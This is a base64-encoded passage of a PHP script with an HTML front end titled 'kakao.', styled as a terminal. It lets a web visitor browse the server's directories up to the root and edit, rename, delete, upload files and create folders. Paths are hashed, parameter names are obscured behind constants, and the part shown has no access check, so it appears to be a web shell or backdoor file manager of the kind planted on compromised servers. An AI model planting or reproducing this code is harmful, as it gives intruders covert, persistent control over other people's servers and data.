CgkZnVsbF9wYXRoKTsNCiAgICAgICAgJGlzX2RpciA9IGlzX2RpcigkZnVsbF9wYXRoKTsNCg0KICAgICAgICAkaXRlbSA9IGFycmF5KA0KICAgICAgICAgICAgJ25hbWUnID0+ICRlbnRyeSwNCiAgICAgICAgICAgICdwZXJtcycgPT4gJHBlcm1zLA0KICAgICAgICAgICAgJ3NpemUnID0+ICRzaXplLA0KICAgICAgICAgICAgJ21vZCcgPT4gJG1vZF90aW1lLA0KICAgICAgICAgICAgJ2hhc2gnID0+ICRoYXNoLA0KICAgICAgICAgICAgJ2lzX2RpcicgPT4gJGlzX2Rpcg0KICAgICAgICApOw0KDQogICAgICAgIGlmICgkaXNfZGlyKSB7DQogICAgICAgICAgICAkZGlyc1tdID0gJGl0ZW07DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAkZmlsZXNbXSA9ICRpdGVtOw0KICAgICAgICB9DQogICAgfQ0KICAgIGNsb3NlZGlyKCRoYW5kbGUpOw0KfQ0KDQp1c29ydCgkZGlycywgZnVuY3Rpb24oJGEsICRiKSB7IHJldHVybiBzdHJjYXNlY21wKCRhWyduYW1lJ10sICRiWyduYW1lJ10pOyB9KTsNCnVzb3J0KCRmaWxlcywgZnVuY3Rpb24oJGEsICRiKSB7IHJldHVybiBzdHJjYXNlY21wKCRhWyduYW1lJ10sICRiWyduYW1lJ10pOyB9KTsNCiAkYWxsX2l0ZW1zID0gYXJyYXlfbWVyZ2UoJGRpcnMsICRmaWxlcyk7DQoNCiAkcGFyZW50X2RpciA9IGRpcm5hbWUoJGN1cnJlbnRfZGlyKTsNCiAkY2FuX2dvX3VwID0gKCRwYXJlbnRfZGlyICE9PSAkY3VycmVudF9kaXIpOw0KDQpmdW5jdGlvbiBmb3JtYXRfc2l6ZSgkYnl0ZXMpIHsNCiAgICBpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHJldHVybiBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwNDg1NzYsIDIpIC4gJ00nOw0KICAgIGlmICgkYnl0ZXMgPj0gMTAyNCkgcmV0dXJuIG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTAyNCwgMikgLiAnSyc7DQogICAgcmV0dXJuICRieXRlcyAuICdCJzsNCn0NCg0KPz4NCjwhRE9DVFlQRSBodG1sPg0KPGh0bWwgbGFuZz0iZW4iPg0KPGhlYWQ+DQogICAgPG1ldGEgY2hhcnNldD0iVVRGLTgiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+a2FrYW8uPC90aXRsZT4NCiAgICA8c3R5bGU+DQogICAgICAgIDpyb290IHsNCiAgICAgICAgICAgIC0tYmctZGFyazogIzFlMWExNzsNCiAgICAgICAgICAgIC0tYmctcGFuZWw6ICMyYTI0MWY7DQogICAgICAgICAgICAtLWJnLWlucHV0OiAjMTUxMjEwOw0KICAgICAgICAgICAgLS10ZXh0LW1haW46ICNlNmQzYjM7DQogICAgICAgICAgICAtLXRleHQtZGltOiAjOGE4MDc1Ow0KICAgICAgICAgICAgLS1hY2NlbnQ6ICNjODliNmQ7DQogICAgICAgICAgICAtLWJvcmRlcjogIzNlMzUyZTsNCiAgICAgICAgICAgIC0tdGVybWluYWwtZm9udDogJ0NvdXJpZXIgTmV3JywgQ291cmllciwgbW9ub3NwYWNlOw0KICAgICAgICAgICAgLS1zdWNjZXNzOiAjN2VjODczOyAvKiBNdXRlZCBHcmVlbiAqLw0KICAgICAgICAgICAgLS1lcnJvcjogI2ZmNWY1NjsgICAvKiBSZWQgKi8NCiAgICAgICAgfQ0KDQogICAgICAgICogeyBib3gtc2l6aW5nOiBib3JkZXItYm94OyB9DQoNCiAgICAgICAgYm9keSB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS1iZy1kYXJrKTsNCiAgICAgICAgICAgIGNvbG9yOiB2YXIoLS10ZXh0LW1haW4pOw0KICAgICAgICAgICAgZm9udC1mYW1pbHk6IHZhcigtLXRlcm1pbmFsLWZvbnQpOw0KICAgICAgICAgICAgbWFyZ2luOiAwOw0KICAgICAgICAgICAgcGFkZGluZzogMjBweDsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTNweDsNCiAgICAgICAgICAgIGhlaWdodDogMTAwdmg7DQogICAgICAgICAgICBkaXNwbGF5OiBmbGV4Ow0KICAgICAgICAgICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7DQogICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOw0KICAgICAgICB9DQoNCiAgICAgICAgLnRlcm1pbmFsLXdpbmRvdyB7DQogICAgICAgICAgICB3aWR0aDogMTAwJTsNCiAgICAgICAgICAgIG1heC13aWR0aDogOTAwcHg7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS1iZy1wYW5lbCk7DQogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCB2YXIoLS1ib3JkZXIpOw0KICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNnB4Ow0KICAgICAgICAgICAgYm94LXNoYWRvdzogMCAxMHB4IDMwcHggcmdiYSgwLDAsMCwwLjUpOw0KICAgICAgICAgICAgZGlzcGxheTogZmxleDsNCiAgICAgICAgICAgIGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47DQogICAgICAgICAgICBoZWlnaHQ6IDg1dmg7DQogICAgICAgICAgICBvdmVyZmxvdzogaGlkZGVuOw0KICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlOw0KICAgICAgICB9DQoNCiAgICAgICAgLyogVG9wIEJhciAqLw0KICAgICAgICAudG9wLWJhciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS1iZy1kYXJrKTsNCiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCB2YXIoLS1ib3JkZXIpOw0KICAgICAgICAgICAgcGFkZGluZzogOHB4IDEycHg7DQogICAgICAgICAgICBkaXNwbGF5OiBmbGV4Ow0KICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICAgICAgICAgIGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2VlbjsNCiAgICAgICAgfQ0KDQogICAgICAgIC53aW5kb3ctY29udHJvbHMgeyBkaXNwbGF5OiBmbGV4OyBnYXA6IDhweDsgfQ0KICAgICAgICAuY29udHJvbC1kb3QgeyB3aWR0aDogMTJweDsgaGVpZ2h0OiAxMnB4OyBib3JkZXItcmFkaXVzOiA1MCU7IH0NCiAgICAgICAgLnJlZCB7IGJhY2tncm91bmQtY29sb3I6ICNmZjVmNTY7IH0NCiAgICAgICAgLnllbGxvdyB7IGJhY2tncm91bmQtY29sb3I6ICNmZmJkMmU7IH0NCiAgICAgICAgLmdyZWVuIHsgYmFja2dyb3VuZC1jb2xvcjogIzI3YzkzZjsgfQ0KDQogICAgICAgIC5uYXYtYXJlYSB7IGRpc3BsYXk6IGZsZXg7IGFsaWduLWl0ZW1zOiBjZW50ZXI7IGZsZXg6IDE7IG1hcmdpbjogMCAxNXB4OyB9DQoNCiAgICAgICAgLmJ0bi11cCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB2YXIoLS1iZy1pbnB1dCk7IGNvbG9yOiB2YXIoLS10ZXh0LWRpbSk7IGJvcmRlcjogMXB4IHNvbGlkIHZhcigtLWJvcmRlcik7DQogICAgICAgICAgICBwYWRkaW5nOiAycHggOHB4OyBtYXJnaW4tcmlnaHQ6IDEwcHg7IGN1cnNvcjogcG9pbnRlcjsgYm9yZGVyLXJhZGl1czogM3B4Ow0KICAgICAgICAgICAgZm9udC1mYW1pbHk6IHZhcigtLXRlcm1pbmFsLWZvbnQpOyBmb250LXNpemU6IDEycHg7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsNCiAgICAgICAgfQ0KICAgICAgICAuYnRuLXVwOmhvdmVyIHsgYm9yZGVyLWNvbG9yOiB2YXIoLS1hY2NlbnQpOyBjb2xvcjogdmFyKC0tYWNjZW50KTsgfQ0KICAgICAgICAuYnRuLXVwLmRpc2FibGVkIHsgb3BhY2l0eTogMC4zOyBwb2ludGVyLWV2ZW50czogbm9uZTsgfQ0KDQogICAgICAgIC5wYXRoLWRpc3BsYXkgew0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXRleHQtZGltKTsgYmFja2dyb3VuZC1jb2xvcjogdmFyKC0tYmctaW5wdXQpOw0KICAgICAgICAgICAgcGFkZGluZzogMnB4IDhweDsgYm9yZGVyLXJhZGl1czogM3B4OyBmb250LXNpemU6IDEycHg7IGJvcmRlcjogMXB4IHNvbGlkIHZhcigtLWJvcmRlcik7DQogICAgICAgICAgICBmbGV4OiAxOyB3aGl0ZS1zcGFjZTogbm93cmFwOyBvdmVyZmxvdzogaGlkZGVuOyB0ZXh0LW92ZXJmbG93OiBlbGxpcHNpczsNCiAgICAgICAgfQ0KDQogICAgICAgIC8qIE1haW4gQ29udGVudCAqLw0KICAgICAgICAubWFpbi1jb250ZW50IHsgZmxleDogMTsgb3ZlcmZsb3cteTogYXV0bzsgcGFkZGluZzogMTBweDsgfQ0KDQogICAgICAgIC8qIFN0YXR1cyBNZXNzYWdlIChUZXJtaW5hbCBTdHlsZSkgKi8NCiAgICAgICAgLmNvbnNvbGUtbXNnIHsNCiAgICAgICAgICAgIHBhZGRpbmc6IDVweCAxMHB4Ow0KICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMTBweDsNCiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiB2YXIoLS10ZXJtaW5hbC1mb250KTsNCiAgICAgICAgICAgIGJvcmRlci1sZWZ0OiA0cHggc29saWQgdHJhbnNwYXJlbnQ7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiByZ2JhKDAsMCwwLDAuMik7DQogICAgICAgICAgICBkaXNwbGF5OiBmbGV4Ow0KICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICAgICAgfQ0KICAgICAgICAuY29uc29sZS1tc2cuc3VjY2VzcyB7DQogICAgICAgICAgICBib3JkZXItY29sb3I6IHZhcigtLXN1Y2Nlc3MpOw0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXN1Y2Nlc3MpOw0KICAgICAgICB9DQogICAgICAgIC5jb25zb2xlLW1zZy5lcnJvciB7DQogICAgICAgICAgICBib3JkZXItY29sb3I6IHZhcigtLWVycm9yKTsNCiAgICAgICAgICAgIGNvbG9yOiB2YXIoLS1lcnJvcik7DQogICAgICAgIH0NCiAgICAgICAgLmNvbnNvbGUtbXNnOjpiZWZvcmUgew0KICAgICAgICAgICAgY29udGVudDogIj4+ICI7DQogICAgICAgICAgICBvcGFjaXR5OiAwLjc7DQogICAgICAgIH0NCg0KICAgICAgICAuZmlsZS1oZWFkZXIgew0KICAgICAgICAgICAgZGlzcGxheTogZmxleDsgYm9yZGVyLWJvdHRvbTogMXB4IGRhc2hlZCB2YXIoLS1ib3JkZXIpOw0KICAgICAgICAgICAgcGFkZGluZy1ib3R0b206IDVweDsgbWFyZ2luLWJvdHRvbTogNXB4OyBjb2xvcjogdmFyKC0tYWNjZW50KTsgZm9udC13ZWlnaHQ6IGJvbGQ7DQogICAgICAgIH0NCg0KICAgICAgICAuZmlsZS1yb3cgew0KICAgICAgICAgICAgZGlzcGxheTogZmxleDsgcGFkZGluZzogNHB4IDA7DQogICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgcmdiYSg2MiwgNTMsIDQ2LCAwLjUpOw0KICAgICAgICB9DQogICAgICAgIC5maWxlLXJvdzpob3ZlciB7IGJhY2tncm91bmQtY29sb3I6IHJnYmEoMjAwLCAxNTUsIDEwOSwgMC4xKTsgfQ0KDQogICAgICAgIC5jb2wtcGVybSB7IHdpZHRoOiA1MHB4OyBjb2xvcjogdmFyKC0tdGV4dC1kaW0pOyB9DQogICAgICAgIC5jb2wtc2l6ZSB7IHdpZHRoOiA4MHB4OyB0ZXh0LWFsaWduOiByaWdodDsgcGFkZGluZy1yaWdodDogMTVweDsgY29sb3I6IHZhcigtLXRleHQtZGltKTsgfQ0KICAgICAgICAuY29sLWRhdGUgeyB3aWR0aDogMTIwcHg7IGNvbG9yOiB2YXIoLS10ZXh0LWRpbSk7IH0NCiAgICAgICAgLmNvbC1uYW1lIHsgZmxleDogMTsgZm9udC13ZWlnaHQ6IGJvbGQ7IH0NCiAgICAgICAgLmNvbC1hY3Rpb25zIHsgd2lkdGg6IDE4MHB4OyB0ZXh0LWFsaWduOiByaWdodDsgfQ0KDQogICAgICAgIC5pcy1kaXIgLmNvbC1uYW1lIHsgY29sb3I6IHZhcigtLWFjY2VudCk7IH0NCiAgICAgICAgLmlzLWxpbmsgeyB0ZXh0LWRlY29yYXRpb246IG5vbmU7IGNvbG9yOiBpbmhlcml0OyBkaXNwbGF5OiBibG9jazsgfQ0KICAgICAgICAuaXMtbGluazpob3ZlciB7IHRleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyB9DQoNCiAgICAgICAgLmNtZC1saW5rIHsNCiAgICAgICAgICAgIG1hcmdpbi1sZWZ0OiAxMHB4OyB0ZXh0LWRlY29yYXRpb246IG5vbmU7IGNvbG9yOiB2YXIoLS10ZXh0LWRpbSk7IGN1cnNvcjogcG9pbnRlcjsgZm9udC1zaXplOiAxMnB4Ow0KICAgICAgICB9DQogICAgICAgIC5jbWQtbGluazpob3ZlciB7IGNvbG9yOiB2YXIoLS10ZXh0LW1haW4pOyBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS1hY2NlbnQpOyBjb2xvcjogdmFyKC0tYmctZGFyayk7IH0NCg0KICAgICAgICAvKiBCb3R0b20gUGFuZWwgKi8NCiAgICAgICAgLmJvdHRvbS1wYW5lbCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS1iZy1kYXJrKTsgYm9yZGVyLXRvcDogMXB4IHNvbGlkIHZhcigtLWJvcmRlcik7DQogICAgICAgICAgICBwYWRkaW5nOiAxMHB4OyBkaXNwbGF5OiBmbGV4OyBnYXA6IDEwcHg7DQogICAgICAgIH0NCiAgICAgICAgLmNtZC1saW5lIHsgY29sb3I6IHZhcigtLWFjY2VudCk7IG1hcmdpbi1yaWdodDogNXB4OyB3aGl0ZS1zcGFjZTogbm93cmFwOyB9DQogICAgICAgIC5hY3Rpb24tZm9ybSB7IGRpc3BsYXk6IGZsZXg7IGdhcDogNXB4OyB3aWR0aDogMTAwJTsgYWxpZ24taXRlbXM6IGNlbnRlcjsgfQ0KICAgICAgICANCiAgICAgICAgaW5wdXRbdHlwZT0idGV4dCJdLCB0ZXh0YXJlYSwgaW5wdXRbdHlwZT0iZmlsZSJdIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHZhcigtLWJnLWlucHV0KTsgYm9yZGVyOiAxcHggc29saWQgdmFyKC0tYm9yZGVyKTsNCiAgICAgICAgICAgIGNvbG9yOiB2YXIoLS10ZXh0LW1haW4pOyBmb250LWZhbWlseTogdmFyKC0tdGVybWluYWwtZm9udCk7IHBhZGRpbmc6IDVweDsgb3V0bGluZTogbm9uZTsNCiAgICAgICAgfQ0KICAgICAgICBpbnB1dFt0eXBlPSJ0ZXh0Il0geyBmbGV4OiAxOyB9DQogICAgICAgIA0KICAgICAgICBidXR0b24gew0KICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogdmFyKC0tYm9yZGVyKTsgY29sb3I6IHZhcigtLXRleHQtbWFpbik7DQogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCB2YXIoLS1hY2NlbnQpOyBmb250LWZhbWlseTogdmFyKC0tdGVybWluYWwtZm9udCk7DQogICAgICAgICAgICBwYWRkaW5nOiA0cHggMTJweDsgY3Vyc29yOiBwb2ludGVyOw0KICAgICAgICB9DQogICAgICAgIGJ1dHRvbjpob3ZlciB7IGJhY2tncm91bmQtY29sb3I6IHZhcigtLWFjY2VudCk7IGNvbG9yOiB2YXIoLS1iZy1kYXJrKTsgfQ0KDQogICAgICAgIC8qIEdFTkVSSUMgTU9EQUwgU1RZTEUgKi8NCiAgICAgICAgLm1vZGFsLW92ZXJsYXkgew0KICAgICAgICAgICAgZGlzcGxheTogbm9uZTsgcG9zaXRpb246IGZpeGVkOyB0b3A6IDA7IGxlZnQ6IDA7IHdpZHRoOiAxMDAlOyBoZWlnaHQ6IDEwMCU7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiByZ2JhKDAsMCwwLDAuODUpOyB6LWluZGV4OiA5OTk7DQogICAgICAgICAgICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjsgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLm1vZGFsLWJveCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB2YXIoLS1iZy1wYW5lbCk7IGJvcmRlcjogMXB4IHNvbGlkIHZhcigtLWFjY2VudCk7DQogICAgICAgICAgICBwYWRkaW5nOiAxNXB4OyBtaW4td2lkdGg6IDMwMHB4Ow0KICAgICAgICAgICAgZGlzcGxheTogZmxleDsgZmxleC1kaXJlY3Rpb246IGNvbHVtbjsgZ2FwOiAxNXB4Ow0KICAgICAgICB9DQoNCiAgICAgICAgLm1vZGFsLWhlYWRlciB7IGZvbnQtd2VpZ2h0OiBib2xkOyBjb2xvcjogdmFyKC0tYWNjZW50KTsgZm9udC1zaXplOiAxNXB4OyB9DQogICAgICAgIA0KICAgICAgICAubW9kYWwtZm9vdGVyIHsgdGV4dC1hbGlnbjogcmlnaHQ7IGRpc3BsYXk6IGZsZXg7IGp1c3RpZnktY29udGVudDogZmxleC1lbmQ7IGdhcDogMTBweDsgfQ0KDQogICAgICAgIC8qIEVkaXRvciBTcGVjaWZpYyAqLw0KICAgICAgICAjZWRpdG9yLW1vZGFsIC5tb2RhbC1ib3ggeyB3aWR0aDogODAlOyBoZWlnaHQ6IDgwJTsgfQ0KICAgICAgICAjZWRpdG9yLWFyZWEgeyBmbGV4OiAxOyByZXNpemU6IG5vbmU7IGJhY2tncm91bmQ6IHZhcigtLWJnLWlucHV0KTsgY29sb3I6IHZhcigtLXRleHQtbWFpbik7IGJvcmRlcjogMXB4IHNvbGlkIHZhcigtLWJvcmRlcik7IGZvbnQtZmFtaWx5OiB2YXIoLS10ZXJtaW5hbC1mb250KTsgcGFkZGluZzogMTBweDsgfQ0KDQogICAgICAgIDo6LXdlYmtpdC1zY3JvbGxiYXIgeyB3aWR0aDogOHB4OyB9DQogICAgICAgIDo6LXdlYmtpdC1zY3JvbGxiYXItdHJhY2sgeyBiYWNrZ3JvdW5kOiB2YXIoLS1iZy1kYXJrKTsgfQ0KICAgICAgICA6Oi13ZWJraXQtc2Nyb2xsYmFyLXRodW1iIHsgYmFja2dyb3VuZDogdmFyKC0tYm9yZGVyKTsgfQ0KICAgICAgICA6Oi13ZWJraXQtc2Nyb2xsYmFyLXRodW1iOmhvdmVyIHsgYmFja2dyb3VuZDogdmFyKC0tYWNjZW50KTsgfQ0KDQogICAgPC9zdHlsZT4NCjwvaGVhZD4NCjxib2R5Pg0KDQo8ZGl2IGNsYXNzPSJ0ZXJtaW5hbC13aW5kb3ciPg0KICAgIDwhLS0gSGVhZGVyIC0tPg0KICAgIDxkaXYgY2xhc3M9InRvcC1iYXIiPg0KICAgICAgICA8ZGl2IGNsYXNzPSJ3aW5kb3ctY29udHJvbHMiPg0KICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNvbnRyb2wtZG90IHJlZCI+PC9zcGFuPg0KICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNvbnRyb2wtZG90IHllbGxvdyI+PC9zcGFuPg0KICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNvbnRyb2wtZG90IGdyZWVuIj48L3NwYW4+DQogICAgICAgIDwvZGl2Pg0KICAgICAgICANCiAgICAgICAgPGRpdiBjbGFzcz0ibmF2LWFyZWEiPg0KICAgICAgICAgICAgPD9waHAgaWYgKCRjYW5fZ29fdXApOiA/Pg0KICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij88P3BocCBlY2hvIFBfRElSOyA/Pj08P3BocCBlY2hvIGdldF9oYXNoKCRwYXJlbnRfZGlyKTsgPz4iIGNsYXNzPSJidG4tdXAiIHRpdGxlPSJQYXJlbnQgRGlyZWN0b3J5Ij4mbHQ7IFVQPC9hPg0KICAgICAgICAgICAgPD9waHAgZWxzZTogPz4NCiAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iYnRuLXVwIGRpc2FibGVkIj4mbHQ7IFVQPC9zcGFuPg0KICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+DQogICAgICAgICAgICANCiAgICAgICAgICAgIDxkaXYgY2xhc3M9InBhdGgtZGlzcGxheSIgdGl0bGU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkY3VycmVudF9kaXIpOyA/PiI+DQogICAgICAgICAgICAgICAgPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRjdXJyZW50X2Rpcik7ID8+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgPC9kaXY+DQogICAgPC9kaXY+DQoNCiAgICA8IS0tIE1haW4gQ29udGVudCAtLT4NCiAgICA8ZGl2IGNsYXNzPSJtYWluLWNvbnRlbnQiPg0KICAgICAgICA8IS0tIFN0YXR1cyBNZXNzYWdlIC0tPg0KICAgICAgICA8P3BocCBpZiAoJHN0YXR1c19tc2cpOiA/Pg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29uc29sZS1tc2cgPD9waHAgZWNobyAkc3RhdHVzX3R5cGU7ID8+Ij4NCiAgICAgICAgICAgICAgICA8P3BocCBlY2hvICRzdGF0dXNfbXNnOyA/Pg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgIDw/cGhwIGVuZGlmOyA/Pg0KDQogICAgICAgIDxkaXYgY2xhc3M9ImZpbGUtaGVhZGVyIj4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1wZXJtIj5QZXJtczwvZGl2Pg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLXNpemUiPlNpemU8L2Rpdj4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1kYXRlIj5Nb2RpZmllZDwvZGl2Pg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLW5hbWUiPk5hbWU8L2Rpdj4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1hY3Rpb25zIj5BY3Rpb25zPC9kaXY+DQogICAgICAgIDwvZGl2Pg0KDQogICAgICAgIDw/cGhwIGZvcmVhY2ggKCRhbGxfaXRlbXMgYXMgJGl0ZW0pOiA/Pg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iZmlsZS1yb3cgPD9waHAgZWNobyAkaXRlbVsnaXNfZGlyJ10gPyAnaXMtZGlyJyA6ICdpcy1maWxlJzsgPz4iPg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1wZXJtIj48P3BocCBlY2hvICRpdGVtWydwZXJtcyddOyA/PjwvZGl2Pg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1zaXplIj48P3BocCBlY2hvICRpdGVtWydpc19kaXInXSA/ICdESVInIDogZm9ybWF0X3NpemUoJGl0ZW1bJ3NpemUnXSk7ID8+PC9kaXY+DQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLWRhdGUiPjw/cGhwIGVjaG8gJGl0ZW1bJ21vZCddOyA/PjwvZGl2Pg0KICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1uYW1lIj4NCiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCRpdGVtWydpc19kaXInXSk6ID8+DQogICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/PD9waHAgZWNobyBQX0RJUjsgPz49PD9waHAgZWNobyAkaXRlbVsnaGFzaCddOyA/PiIgY2xhc3M9ImlzLWxpbmsiPjw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkaXRlbVsnbmFtZSddKTsgPz48L2E+DQogICAgICAgICAgICAgICAgICAgIDw/cGhwIGVsc2U6ID8+DQogICAgICAgICAgICAgICAgICAgICAgICA8c3Bhbj48P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGl0ZW1bJ25hbWUnXSk7ID8+PC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1hY3Rpb25zIj4NCiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCEkaXRlbVsnaXNfZGlyJ10pOiA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNtZC1saW5rIiBvbmNsaWNrPSJvcGVuRWRpdG9yKCc8P3BocCBlY2hvICRpdGVtWydoYXNoJ107ID8+JywgJzw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhhZGRzbGFzaGVzKCRpdGVtWyduYW1lJ10pKTsgPz4nKSI+W2VkaXRdPC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4NCiAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNtZC1saW5rIiBvbmNsaWNrPSJvcGVuUmVuYW1lTW9kYWwoJzw/cGhwIGVjaG8gJGl0ZW1bJ2hhc2gnXTsgPz4nLCAnPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKGFkZHNsYXNoZXMoJGl0ZW1bJ25hbWUnXSkpOyA/PicpIj5bcmVuYW1lXTwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNtZC1saW5rIiBvbmNsaWNrPSJvcGVuRGVsZXRlTW9kYWwoJzw/cGhwIGVjaG8gJGl0ZW1bJ2hhc2gnXTsgPz4nLCAnPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKGFkZHNsYXNoZXMoJGl0ZW1bJ25hbWUnXSkpOyA/PicpIj5bZGVsZXRlXTwvc3Bhbj4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICA8P3BocCBlbmRmb3JlYWNoOyA/Pg0KICAgICAgICANCiAgICAgICAgPD9waHAgaWYgKGVtcHR5KCRhbGxfaXRlbXMpKTogPz4NCiAgICAgICAgICAgIDxkaXYgc3R5bGU9InBhZGRpbmc6MTBweDsgY29sb3I6dmFyKC0tdGV4dC1kaW0pOyI+RGlyZWN0b3J5IGlzIGVtcHR5LjwvZGl2Pg0KICAgICAgICA8P3BocCBlbmRpZjsgPz4NCiAgICA8L2Rpdj4NCg0KICAgIDwhLS0gQm90dG9tIFBhbmVsIC0tPg0KICAgIDxkaXYgY2xhc3M9ImJvdHRvbS1wYW5lbCI+DQogICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgY2xhc3M9ImFjdGlvbi1mb3JtIiBzdHlsZT0iZmxleDoyOyI+DQogICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSI8P3BocCBlY2hvIFBfQUNUSU9OOyA/PiIgdmFsdWU9Ijw/cGhwIGVjaG8gQV9VUDsgPz4iPg0KICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iPD9waHAgZWNobyBQX1RBUkc7ID8+IiB2YWx1ZT0iPD9waHAgZWNobyBnZXRfaGFzaCgkY3VycmVudF9kaXIpOyA/PiI+DQogICAgICAgICAgICA8c3BhbiBjbGFzcz0iY21kLWxpbmUiPnVwbG9hZCZndDs8L3NwYW4+DQogICAgICAgICAgICA8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iPD9waHAgZWNobyBQX0ZJTEU7ID8+Ij4NCiAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0Ij5TZW5kPC9idXR0b24+DQogICAgICAgIDwvZm9ybT4NCg0KICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGNsYXNzPSJhY3Rpb24tZm9ybSIgc3R5bGU9ImZsZXg6MTsiPg0KICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iPD9waHAgZWNobyBQX0FDVElPTjsgPz4iIHZhbHVlPSI8P3BocCBlY2hvIEFfTUtESVI7ID8+Ij4NCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Ijw/cGhwIGVjaG8gUF9UQVJHOyA/PiIgdmFsdWU9Ijw/cGhwIGVjaG8gZ2V0X2hhc2goJGN1cnJlbnRfZGlyKTsgPz4iPg0KICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNtZC1saW5lIj5ta2RpciZndDs8L3NwYW4+DQogICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iPD9waHAgZWNobyBQX05BTUU7ID8+IiBwbGFjZWhvbGRlcj0ibmV3X2ZvbGRlciIgcmVxdWlyZWQ+DQogICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCI+KzwvYnV0dG9uPg0